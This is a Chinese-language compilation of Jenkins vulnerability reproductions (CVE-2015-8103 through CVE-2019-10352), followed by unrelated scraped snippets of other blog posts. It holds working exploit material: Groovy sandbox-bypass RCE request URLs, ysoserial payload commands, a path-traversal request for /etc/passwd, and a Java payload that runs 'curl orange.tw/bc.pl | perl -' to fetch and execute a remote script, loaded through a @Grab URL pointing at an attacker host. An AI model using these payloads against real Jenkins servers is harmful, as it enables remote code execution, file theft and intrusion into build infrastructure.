jenkins漏洞集合
目录
CVE-2015-8103 反序列化远程代码执行
CVE-2016-0788 Jenkins CI和LTS 远程代码执行漏洞
CVE-2016-0792 低权限用户命令执行
CVE-2016-9299 代码执行
CVE-2017-1000353 Jenkins-CI 远程代码执行
CVE-2018-1000110 用户枚举
CVE-2018-1000861 远程命令执行
CVE-2018-1999002 任意文件读取
CVE-2018-1000600 Jenkins GitHub 信息泄露
CVE-2019-1003000 远程代码执行
CVE-2019-1003005 远程代码执行
CVE-2019-1003029 Script Security Plugin沙箱绕过
CVE-2019-10392 Jenkins Git 插件命令执行
CVE-2019-10352 任意文件写入
复现文章和脚本大都是网上收集,大部分能找到出处的,个别找不到明确的地址。
CVE-2015-8103 反序列化远程代码执行
1.638之前的Jenkins和1.625.2之前的LTS中的Jenkins CLI子系统,允许远程攻击者通过制作的序列化Java对象执行有问题的commons-collections。
利用脚本:https://github.com/LeoHuang2015/jenkins-cli-exploit
执行后有类似如下反应:
还可以使用msf中的模块exploit/linux/misc/jenkins_java_deserialize
来执行攻击反弹shell。
CVE-2016-0788 Jenkins CI和LTS 远程代码执行漏洞
CloudBeesJenkinsCI1.650之前版本和LTS1.642.2之前版本的remoting模块中存在安全漏洞。远程攻击者可通过打开JRMP监听程序利用该漏洞执行任意代码。
利用需要X-Jenkins-CLI2-Port对应的端口,如果Jenkins无法获取CLI版本2的端口标头“ X-Jenkins-CLI2-Port”,它会退回到版本1。
利用ys生成二进制文件:java -jar ysoserial.jar CommonsCollections3 "curl http://r9rub4.ceye.io/" > payload.bin
利用脚本:https://github.com/foxglovesec/JavaUnserializeExploits/blob/master/jenkins.py
发送的二进制文件实际上是十六进制的(<===[JENKINS REMOTING CAPACITY]===>)与其后base64的编码构成。使用类似反应如下:
CVE-2016-0792 低权限用户命令执行
影响版本:jenkins小于 1.650
利用脚本:https://github.com/jpiechowka/jenkins-cve-2016-0792
执行后类似如下
CVE-2016-9299 代码执行
2.32之前的Jenkins和2.19.3之前的LTS中的远程处理模块允许远程攻击者通过精心制作的序列化Java对象执行任意代码,从而触发对第三方服务器的LDAP查询。
关于这个漏洞的分析和代码利用,已经有详细的分析文章:https://paper.seebug.org/199/
msf有成熟的利用模块:exploit/linux/misc/jenkins_ldap_deserialize
CVE-2017-1000353 Jenkins-CI 远程代码执行
影响版本:Jenkins<=2.56。Jenkins LTS <= 2.46.1
下载pochttps://github.com/vulhub/CVE-2017-1000353
执行生成字节码文件。
java -jar CVE-2017-1000353-SNAPSHOT-all.jar jenkins_poc.ser "curl http://xxx.ceye.io"
利用py文件来进行发送
python exploit.py http://x.x.x.x:8080 jenkins_poc.ser
会有如下反应
CVE-2018-1000110 用户枚举
模糊搜索:http://x.x.x.x:8080/search/?q=a
http://x.x.x.x:8080/search/suggest?query=a
如果git插件小于3.7,也可以使用如下
http://x.x.x.x:8080/git/search/?q=a
http://x.x.x.x:8080/git/search/suggest?query=a
CVE-2018-1000861 远程命令执行
可以使用如下的一键化脚本
https://github.com/orangetw/awesome-jenkins-rce-2019
也可以自定义发送请求
http://x.x.x.x:8080/securityRealm/user/admin/descriptorByName/org.jenkinsci.plugins.scriptsecurity.sandbox.groovy.SecureGroovyScript/checkScript?sandbox=true&value=public class x {public x(){"curl http://xxx.ceye.io/CVE-2018-1000861".execute()}}
页面返回空白,响应为
如果使用脚本,则同样效果
还可以使用的POC,使用会提示错误信息,但命令已执行。
/securityRealm/user/test/descriptorByName/org.jenkinsci.plugins.scriptsecurity.sandbox.groovy.SecureGroovyScript/checkScript?sandbox=true&value=import+groovy.transform.*%0a%40ASTTest(value%3d%7bassert+java.lang.Runtime.getRuntime().exec("curl http://xxx.ceye.io/CVE-2018-1000861")%7d)%0aclass+Person%7b%7d
/securityRealm/user/test/descriptorByName/org.jenkinsci.plugins.scriptsecurity.sandbox.groovy.SecureGroovyScript/checkScript?sandbox=true&value=import+groovy.transform.*%0a%40ASTTest(value%3d%7b+"curl http://xxx.ceye.io/CVE-2018-1000861".execute().text+%7d)%0aclass+Person%7b%7d
环境搭建
参考:Vulhub - Docker-Compose file for vulnerability environment
执行如下命令启动一个Jenkins 2.138,包含漏洞的插件也已经安装:
docker-compose up -d
环境启动后,访问http://your-ip:8080
即可看到一个已经成功初始化的Jenkins,无需再进行任何操作。
漏洞复现
使用 @orangetw 给出的一键化POC脚本,发送如下请求即可成功执行命令:
-
http://your-ip:8080/securityRealm/user/admin/descriptorByName/org.jenkinsci.plugins.scriptsecurity.sandbox.groovy.SecureGroovyScript/checkScript
-
?sandbox=true
-
&value=public class x {
-
public x(){
-
"touch /tmp/success".execute()
-
}
-
}
/tmp/success
已成功创建:
CVE-2018-1999002 任意文件读取
影响版本:Jenkins weekly 2.132 以及更早的版本。Jenkins LTS 2.121.1 以及更早的版本
可以读取Windows系统服务器中的任意文件,且在特定而条件下也可以读取Linux系统服务器中的文件.
详情:https://xz.aliyun.com/t/2486
结合payload来看,我们请求的url为/plugin/credentials/.ini
,则base
为空,扩展名(ext变量)即为.ini
,然后通过一系列的尝试openURL,在此例中即最后一个情形con = openURL(map(base+'_'+ locale.getLanguage()+ext));
,会去请求_../../../../../../../../../../../../windows/win.ini
,尽管目录_..
并不存在,但在win下可以直接通过路径穿越来绕过。但在linux,则需要一个带有_
的目录来想办法绕过。
需要已经开启了匿名用户读取权限,在请求头中添加
Accept-Language: /../../../../../../../../etc/passwd
处理请求中的包含路径,比如/plugin/xxxx,可以尝试
/plugin/jquery-detached/.xml
/plugin/jquery-detached/.key
/plugin/credentials/.ini
在Windows下这么使用
-
GET /plugin/credentials/.ini HTTP/1.1
-
Host: x.x.x.x:8080
-
Accept: text/javascript, text/html, application/xml, text/xml, */*
-
X-Prototype-Version: 1.7
-
DNT: 1
-
X-Requested-With: XMLHttpRequest
-
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.106 Safari/537.36
-
Origin: http://x.x.x.x:8080
-
Referer: http://x.x.x.x:8080/
-
Accept-Encoding: gzip, deflate
-
Accept-Language: /../../../../../../../../etc/passwd
-
Cookie: JSESSIONID.450017e3=x6kdpnkcgllh18wvlaohsqq8z; screenResolution=1920x1080; JSESSIONID.ccf0cd96=node09crp5bs5eglyrv874no3w48l0.node0; JSESSIONID.6551b177=14vcq2nsop6bw1u8urepj65kwv; td_cookie=1608956971
-
Connection: close
CVE-2018-1000600 Jenkins GitHub 信息泄露
影响版本:Jenkins GitHub插件小于1.29.1
利用的POC为,其中user1为用户名。
/securityRealm/user/user1/descriptorByName/org.jenkinsci.plugins.github.config.GitHubTokenCredentialsCreator/createTokenByPassword?apiUrl=http://xxx.ceye.io
执行后显示
查看DNSlog回显
CVE-2019-1003000 远程代码执行
实际影响版本及编号:CVE-2019-1003000 (Script Security), CVE-2019-1003001 (Pipeline: Groovy), CVE-2019-1003002 (Pipeline: Declarative)
拥有Overall/Read 权限的用户可以绕过沙盒保护,在jenkins可以执行任意代码。此漏洞需要一个账号密码和一个存在的job。受影响插件版本:Pipeline: Declarative 插件 <= 1.3.4。Pipeline: Groovy 插 件 <= 2.61。Script Security 插 件 <= 1.49。
下载环境和利用代码:https://github.com/adamyordan/cve-2019-1003000-jenkins-rce-poc.git
执行利用后显示
我们的job中也被添加了如下
CVE-2019-1003005 远程代码执行
受影响版本:
Jenkins 2.53
Jenkins 2.122
Jenkins 2.137
Jenkins 2.138 启用匿名读取
Jenkins 2.152 启用匿名读取
Jenkins 2.153 启用匿名读取
Script Security Plugin 1.43
Script Security Plugin 1.48
下载利用脚本:https://github.com/orangetw/awesome-jenkins-rce-2019
构建环境后,执行脚本如下
显示如下
当然如果不想使用这种一键式脚本还可以自己构造jar来利用
创建Payload.java
-
public class Payload {
-
public Payload(){
-
try {
-
String payload = "curl orange.tw/bc.pl | perl -";
-
String[] cmds = {"/bin/bash", "-c", payload};
-
java.lang.Runtime.getRuntime().exec(cmds);
-
} catch (Exception e) { }
-
}
-
}
编译文件,创建META-INF/services/文件夹,同时在文件夹下创建名为org.codehaus.groovy.plugins.Runners的文件。内容随意,比如Payload
文件创建后,在某一目录下,文件树类似如下:
编译以上目录jar cvf poc-1.jar code/
将编译产生的文件移动到类似如下地址cp poc-1.jar ~/www/code/payload/poc/1/
将www目录移动到web服务器中,地址类似:http://xxx.com/code/payload/poc/1.poc-1.jar
利用如下exp
-
http://<TARGET HOST>/securityRealm/user/admin/descriptorByName/org.jenkinsci.plugins.workflow.cps.CpsFlowDefinition/checkScriptCompile
-
?value=
-
@GrabConfig(disableChecksums=true)%0a
-
@GrabResolver(name='payload', root='http://<EXPLOIT HOST>')%0a
-
@Grab(group='package', module='payload', version='1')%0a
-
import Payload;
CVE-2019-1003029 Script Security Plugin沙箱绕过
此漏洞和CVE-2019-1003005漏洞同样都是由Script Security插件引起。利用方式和上一致。影响版本1.55以下。
CVE-2019-10392 Jenkins Git 插件命令执行
之前做过这个漏洞的复现,地址:CVE-2019-10392 Jenkins 2k19认证远程RCE ~ Misaki's Blog
CVE-2019-10352 任意文件写入
该漏洞使经过身份验证的具有Job/Configure权限的攻击者可以使用目标之外的文件名定义文件参数,从而导致任意文件写入。
创建一个名为test的新“自由式项目”(该项目的工作空间将位于JENKINS_HOME/workspace/test)
相关文章:
jenkins漏洞集合
目录 CVE-2015-8103 反序列化远程代码执行 CVE-2016-0788 Jenkins CI和LTS 远程代码执行漏洞 CVE-2016-0792 低权限用户命令执行 CVE-2016-9299 代码执行 CVE-2017-1000353 Jenkins-CI 远程代码执行 CVE-2018-1000110 用户枚举 CVE-2018-1000861 远程命令执行 CVE-2018…...

用canvas画一个炫酷的粒子动画倒计时
前言 😆 这是一篇踩在活动尾声的文章,主要是之前在摸鱼社群里有人发了个粒子动画的特效视频,想着研究研究写一篇文章出来看看,结果这一下子就研究了半个多月。 😂 下面就把研究成果通过文字的形式展现出来吧…...
Java技术学习——Maven相关知识
一、什么是Maven? Maven是Apache软件基金会组织维护的一款专门为Java项目提供构建和依赖管理支持的工具。 1.1 构建 构建过程包含的主要环节如下: 清理:删除上一次构建的结果,为下一次构建做好准备编译:Java源程序…...

C++ 认识和了解C++
1.在使用C语言写代码的时候开头要用到的是: #include<iostream> using namespace std;不可以写成这样: #include iostream.h(1)iostream是输入输出流类, istream输入流类 cin >> ostream输出流类 cout &…...
u盘误删的文件怎么找回
u盘误删的文件怎么找回?u盘的特点之一就是极其便携,可以容纳各种格式的数据和文件,需要时可以直接使用。每次使用都会或多或少的存放一些文件,但有使用就会有删除,为了不影响使用性,清理存储空间是必要的。清理中如果…...

二分查找由浅入深--算法--java
二分查找写在开头算法前提:算法逻辑算法实现简单实现leftright可能超过int表示的最大限度代码分析和变换更多需求:求索引最小的值java二分API应用基础题思考难度方法写在开头 二分查找应该是算比较简单的这种算法了,我本以为还可以。但有时候…...

【学习】笔记本电脑重新安装系统win10
安装系统有很多方法: 软件安装制作启动u盘本文使用的方法就是启动盘安装: 1.首先下载iso镜像文件: msdn我告诉你:MSDN, 我告诉你 - 做一个安静的工具站 (itellyou.cn) 2.下载启动盘制作工具: 制作启动盘rufus:Rufus - 轻松创建 USB 启动盘 3.官网下载: https://do…...

RocketMQ的一些使用理解
1.RocketMQ的生产者生产负载策略(3种) (1)SelectMessageQueueByHash (一致性hash) (2)SelectMessageQueueByMachineRoom (机器随机) (3)SelectMessageQueueByRandom (随机) 第1种一…...

Java枚举详解
一.枚举 1.为什么有枚举? 如果我们的程序需要表示固定的几个值: 比如季节:spring (春),summer(夏),autumn(秋),winter(冬) 用常量表示: public static final int SEASON_SPRING 1;public st…...

虚拟机上安装openKylin详细步骤总结
一、创建虚拟机 首先获取操作系统安装镜像文件: 链接:https://pan.baidu.com/s/1tSuXmDk2ZILR4ieee6iImw?pwdcy47 提取码:cy47 (1-1)进入新虚拟机创建向导,选择“自定义”: (1-…...
夜天之书 #74 企业开源的软件协议模型实践(Part 2)
在上一篇文章中,我介绍了企业开源的完全开放源码策略及其风险。完全开放源码,即以符合开源定义的软件协议发布企业自研软件的情形。本文介绍应对完全开放源码后的风险的第一种策略:提高市场占有率与开放标准。与其说是策略,不如说…...

2.webpack实时打包
简介 上一章已经实现了使用 webpack 构建了一个简单的项目;但是我们发现,每次修改了 index.js 需要重新执行 cnpm run dev 命令重新构建 main.js;这在开发阶段是无法忍受的,因为这样调式将浪费大量的时间;还好 webpac…...

KingbaseES V8R3 表加密
前言 透明加密是指将数据库page加密后写入磁盘,当需要读取对应page时进行加密读取。此过程对于用户是透明, 用户无需干预。 该文档进行数据库V8R3版本测试透明加密功能,需要说明,该版本发布时间早于V8R6,所以只能进行表…...
2 为社么软件架构很重要?
2 为社么软件架构很重要? 啊,建造,建造! 这是所有艺术中最崇高的艺术。 — 亨利沃兹沃思朗费罗 如果架构是答案,那么问题是什么? 本章从技术角度重点介绍架构的重要性。我们将研究面包师的十几个最重要…...

Python 之 Pandas merge() 函数、set_index() 函数、drop_duplicates() 函数和 tolist() 函数
文章目录一、merge() 函数1. inner2. left 和 right3. outer二、set_index() 函数三、drop_duplicates() 函数四、tolist() 函数五、视频数据分析案例1. 问题要求2. 解决过程在最开始,我们先导入常规的 numpy 和 pandas 库。 import numpy as np import pandas as …...

MySQL实战之深入浅出索引(下)
1.前言 在上一篇文章中,我们介绍了InnoDB索引的数据结构模型,今天我们再继续聊一下跟MySQL索引有关的概念。 在介绍之前,我们先看一个问题: 表初始化语句 mysql> create table T ( ID int primary key, k int NOT NULL DEFA…...
(二分查找)leetcode1539. 第 k 个缺失的正整数
文章目录一、题目1、题目描述2、基础框架3、原题链接二、解题报告1、思路分析2、时间复杂度3、代码详解三、本题小知识一、题目 1、题目描述 给你一个 严格升序排列 的正整数数组 arr 和一个整数 k 。 请你找到这个数组里第 k 个缺失的正整数。 示例 1: 输入&…...
yaml文件格式详解及实例
🍁博主简介 🏅云计算领域优质创作者 🏅华为云开发者社区专家博主 🏅阿里云开发者社区专家博主 💊交流社区:运维交流社区 欢迎大家的加入! 文章目录yaml简介yaml语法规则Yaml语法实例数组…...

AOP在PowerJob中的使用,缓存锁保证并发安全,知识细节全总结
这是一篇简简单单的文章,需要你简简单单看一眼就好,如果有不明白的地方,欢迎留言讨论。 在之前的文章中出现过一次AOP的使用,就是在运行任务之前,需要判断一下,触发该任务执行的server,是不是数…...

对账平台设计
背景 随着公司业务的蓬勃发展,交易履约清结算业务的复杂性也在不断的增高,资金以及各种数据的一致性和准确性也变得越发重要。 以交易链路为例,存在着如下一些潜在的不一致场景: 订单支付成功了,但是订单状态却还是“…...

Chapter03-Authentication vulnerabilities
文章目录 1. 身份验证简介1.1 What is authentication1.2 difference between authentication and authorization1.3 身份验证机制失效的原因1.4 身份验证机制失效的影响 2. 基于登录功能的漏洞2.1 密码爆破2.2 用户名枚举2.3 有缺陷的暴力破解防护2.3.1 如果用户登录尝试失败次…...

DAY 47
三、通道注意力 3.1 通道注意力的定义 # 新增:通道注意力模块(SE模块) class ChannelAttention(nn.Module):"""通道注意力模块(Squeeze-and-Excitation)"""def __init__(self, in_channels, reduction_rat…...
在Ubuntu中设置开机自动运行(sudo)指令的指南
在Ubuntu系统中,有时需要在系统启动时自动执行某些命令,特别是需要 sudo权限的指令。为了实现这一功能,可以使用多种方法,包括编写Systemd服务、配置 rc.local文件或使用 cron任务计划。本文将详细介绍这些方法,并提供…...

【单片机期末】单片机系统设计
主要内容:系统状态机,系统时基,系统需求分析,系统构建,系统状态流图 一、题目要求 二、绘制系统状态流图 题目:根据上述描述绘制系统状态流图,注明状态转移条件及方向。 三、利用定时器产生时…...

UR 协作机器人「三剑客」:精密轻量担当(UR7e)、全能协作主力(UR12e)、重型任务专家(UR15)
UR协作机器人正以其卓越性能在现代制造业自动化中扮演重要角色。UR7e、UR12e和UR15通过创新技术和精准设计满足了不同行业的多样化需求。其中,UR15以其速度、精度及人工智能准备能力成为自动化领域的重要突破。UR7e和UR12e则在负载规格和市场定位上不断优化…...

OPENCV形态学基础之二腐蚀
一.腐蚀的原理 (图1) 数学表达式:dst(x,y) erode(src(x,y)) min(x,y)src(xx,yy) 腐蚀也是图像形态学的基本功能之一,腐蚀跟膨胀属于反向操作,膨胀是把图像图像变大,而腐蚀就是把图像变小。腐蚀后的图像变小变暗淡。 腐蚀…...
Java求职者面试指南:Spring、Spring Boot、MyBatis框架与计算机基础问题解析
Java求职者面试指南:Spring、Spring Boot、MyBatis框架与计算机基础问题解析 一、第一轮提问(基础概念问题) 1. 请解释Spring框架的核心容器是什么?它在Spring中起到什么作用? Spring框架的核心容器是IoC容器&#…...
Java求职者面试指南:计算机基础与源码原理深度解析
Java求职者面试指南:计算机基础与源码原理深度解析 第一轮提问:基础概念问题 1. 请解释什么是进程和线程的区别? 面试官:进程是程序的一次执行过程,是系统进行资源分配和调度的基本单位;而线程是进程中的…...

android RelativeLayout布局
<?xml version"1.0" encoding"utf-8"?> <RelativeLayout xmlns:android"http://schemas.android.com/apk/res/android"android:layout_width"match_parent"android:layout_height"match_parent"android:gravity&…...
Kafka主题运维全指南:从基础配置到故障处理
#作者:张桐瑞 文章目录 主题日常管理1. 修改主题分区。2. 修改主题级别参数。3. 变更副本数。4. 修改主题限速。5.主题分区迁移。6. 常见主题错误处理常见错误1:主题删除失败。常见错误2:__consumer_offsets占用太多的磁盘。 主题日常管理 …...